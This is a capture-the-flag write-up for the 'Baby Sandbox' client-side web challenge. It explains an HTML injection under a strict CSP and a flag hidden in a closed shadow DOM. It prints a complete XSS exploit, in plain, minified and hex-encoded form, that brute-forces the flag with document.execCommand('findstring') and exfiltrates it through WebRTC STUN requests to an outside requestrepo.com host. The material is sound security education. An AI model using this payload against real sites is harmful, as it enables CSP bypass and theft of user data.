TRX CTF 25 - Baby Sandbox
This is an easy client-side challenge
Overview
We’re given a few files
server.js
: Contains the server code. We can see that the server serves files with a strict CSP:
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';");
next()
})
iframe.ejs
: A simple HTML file with an obvious HTML injection:
let d = document.createElement("div");
d.innerHTML = "<%= payload %>";
document.body.appendChild(d);
index.ejs
: The content ofindex.ejs
will be put inside an iframebot.js
: Contains the bot code. It’s clear that the flag will be stored in local storage. We can supply a payload to thevisit
function, which will then be viewed by the bot. Note that the bot will sleep for a short period after viewing our payload.
Finally, before inserting our payload, the flag will be placed inside a closed shadow DOM, making it inaccessible from JavaScript.
To bypass this restriction, we can use a deprecated feature: document.execCommand
Specifically, we can use a lesser-known command: findstring
:
document.execCommand("findstring", false, <substring>)
, returns true if the substring is found, and false otherwise. I found it here
After brute-forcing the flag, we can split it into chunks and exfiltrate it using WebRTC or any other method that does not violate the CSP.
Note: since our payload will be escaped, we had to encode it using the following function
def encode(payload):
result = ""
for c in payload:
result += "\\x" + hex(ord(c))[2:].zfill(2)
return result
Final Exploit
(() => {
function toHex(str) {
let hex = '';
for(let i = 0; i < str.length; i++) {
hex += str.charCodeAt(i).toString(16);
}
return hex;
}
let flag = "TRX{";
let charset = "abcdefghijklmnopqrstuvwxyz0123456789_{}";
for(let i = 0; i < 128; i++){
for(let c in charset){
res = document.execCommand("findstring", false, flag+charset[c]);
if(res){
flag += charset[c];
break;
}
}
}
let chunkSize = 4;
for (let i = 0; i < flag.length; i += chunkSize) {
let chunk = flag.substring(i, i + chunkSize);
console.log(chunk);
let pc = new RTCPeerConnection({"iceServers":[{"urls":["stun:" + toHex(chunk) + "." + i + ".az5f3of1.requestrepo.com"]}]});
pc.createOffer({offerToReceiveAudio:1}).then(o => pc.setLocalDescription(o)).catch(e => console.error(e));
}
})();
You can then compress this and put it inside an img
tag:
<img src="#" onerror='(()=>{let o="TRX{";var r="abcdefghijklmnopqrstuvwxyz0123456789_{}";for(let e=0;e<128;e++)for(var t in r)res=document.execCommand("findstring",!1,o+r[t]),res&&(o+=r[t]);for(let e=0;e<o.length;e+=4){var n=o.substring(e,e+4);console.log(n);let r=new RTCPeerConnection({iceServers:[{urls:["stun:"+function(r){let o="";for(let e=0;e<r.length;e++)o+=r.charCodeAt(e).toString(16);return o}(n)+"."+e+".az5f3of1.requestrepo.com"]}]});r.createOffer({offerToReceiveAudio:1}).then(e=>r.setLocalDescription(e)).catch(e=>console.error(e))}})();'>
Encoded payload:
\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x23\x22\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x27\x28\x28\x29\x3d\x3e\x7b\x6c\x65\x74\x20\x6f\x3d\x22\x54\x52\x58\x7b\x22\x3b\x76\x61\x72\x20\x72\x3d\x22\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x5f\x7b\x7d\x22\x3b\x66\x6f\x72\x28\x6c\x65\x74\x20\x65\x3d\x30\x3b\x65\x3c\x31\x32\x38\x3b\x65\x2b\x2b\x29\x66\x6f\x72\x28\x76\x61\x72\x20\x74\x20\x69\x6e\x20\x72\x29\x72\x65\x73\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x65\x78\x65\x63\x43\x6f\x6d\x6d\x61\x6e\x64\x28\x22\x66\x69\x6e\x64\x73\x74\x72\x69\x6e\x67\x22\x2c\x21\x31\x2c\x6f\x2b\x72\x5b\x74\x5d\x29\x2c\x72\x65\x73\x26\x26\x28\x6f\x2b\x3d\x72\x5b\x74\x5d\x29\x3b\x66\x6f\x72\x28\x6c\x65\x74\x20\x65\x3d\x30\x3b\x65\x3c\x6f\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x65\x2b\x3d\x34\x29\x7b\x76\x61\x72\x20\x6e\x3d\x6f\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x65\x2c\x65\x2b\x34\x29\x3b\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x6c\x6f\x67\x28\x6e\x29\x3b\x6c\x65\x74\x20\x72\x3d\x6e\x65\x77\x20\x52\x54\x43\x50\x65\x65\x72\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x28\x7b\x69\x63\x65\x53\x65\x72\x76\x65\x72\x73\x3a\x5b\x7b\x75\x72\x6c\x73\x3a\x5b\x22\x73\x74\x75\x6e\x3a\x22\x2b\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x72\x29\x7b\x6c\x65\x74\x20\x6f\x3d\x22\x22\x3b\x66\x6f\x72\x28\x6c\x65\x74\x20\x65\x3d\x30\x3b\x65\x3c\x72\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x65\x2b\x2b\x29\x6f\x2b\x3d\x72\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x65\x29\x2e\x74\x6f\x53\x74\x72\x69\x6e\x67\x28\x31\x36\x29\x3b\x72\x65\x74\x75\x72\x6e\x20\x6f\x7d\x28\x6e\x29\x2b\x22\x2e\x22\x2b\x65\x2b\x22\x2e\x61\x7a\x35\x66\x33\x6f\x66\x31\x2e\x72\x65\x71\x75\x65\x73\x74\x72\x65\x70\x6f\x2e\x63\x6f\x6d\x22\x5d\x7d\x5d\x7d\x29\x3b\x72\x2e\x63\x72\x65\x61\x74\x65\x4f\x66\x66\x65\x72\x28\x7b\x6f\x66\x66\x65\x72\x54\x6f\x52\x65\x63\x65\x69\x76\x65\x41\x75\x64\x69\x6f\x3a\x31\x7d\x29\x2e\x74\x68\x65\x6e\x28\x65\x3d\x3e\x72\x2e\x73\x65\x74\x4c\x6f\x63\x61\x6c\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x28\x65\x29\x29\x2e\x63\x61\x74\x63\x68\x28\x65\x3d\x3e\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x65\x72\x72\x6f\x72\x28\x65\x29\x29\x7d\x7d\x29\x28\x29\x3b\x27\x3e